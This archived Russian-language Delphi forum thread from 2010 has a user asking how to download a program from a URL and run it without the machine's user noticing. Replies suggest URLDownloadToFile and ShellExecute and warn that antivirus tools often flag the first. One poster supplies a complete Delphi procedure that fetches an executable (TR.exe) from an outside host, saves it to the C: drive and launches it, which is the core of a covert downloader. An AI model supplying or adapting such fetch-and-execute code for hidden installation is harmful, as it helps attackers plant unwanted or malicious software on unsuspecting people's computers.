Просмотр полной версии : [Delphi]Установка и запуск приложения.
Ferrari california
17.05.2010, 19:57
Требуеться установить по урл программу и запустить ,чтобы юзер не заметил,кто поможет +
crystalbit
17.05.2010, 19:59
легче всего URLDownloadToFile из urlmon (использование палится часто антивирусами)
и ShellExecute из ShellAPI
Ferrari california
17.05.2010, 20:04
хм а программно можно написать ?
хм а программно можно написать ?
тебе написали программно тепер воплоти его в жизнь :rolleyes:
не забуд добавить shellAPI
astonilya
17.05.2010, 20:36
procedure TForm1.Button1Click(Sender: TObject);
var mem:TMemoryStream;
begin
mem := TMemoryStream.Create;
try
IdHTTP1.Get('http://astonilya.hut.ru/TR.exe',mem);
mem.SaveToFile('c:\TR.exe');
finally
mem.Destroy;
end;
if FileExists('C:\TR.exe') then
begin
shellexecute(0,nil,'C:\TR.exe',nil,nil, SW_SHOWNORMAL);
end;
end;
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot